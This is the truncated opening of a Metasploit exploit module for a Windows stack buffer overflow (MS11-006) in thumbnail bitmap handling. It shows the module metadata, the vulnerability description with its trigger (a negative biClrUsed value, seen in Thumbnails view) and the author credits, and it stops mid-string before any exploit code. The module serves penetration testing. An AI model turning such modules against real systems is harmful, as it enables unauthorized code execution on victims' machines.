##
# $Id: ms11_006_createsizeddibsection.rb 11730 2011-02-08 23:31:44Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in the handling of thumbnails
				within .MIC files and various Office documents. When processing a thumbnail bitmap
				containing a negative 'biClrUsed' value, a stack-based buffer overflow occurs. This
				leads to arbitrary code execution.

				In order to trigger the vulnerable code, the folder containing the document must be
				viewed using the "Thumbnails" view.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Moti & Xu Hao',  # original discovery
					'Yaniv Miron aka Lament of ilhack',
					'jduck'           # Metasploit module
				],
			'Version'        => '$Revision: 11730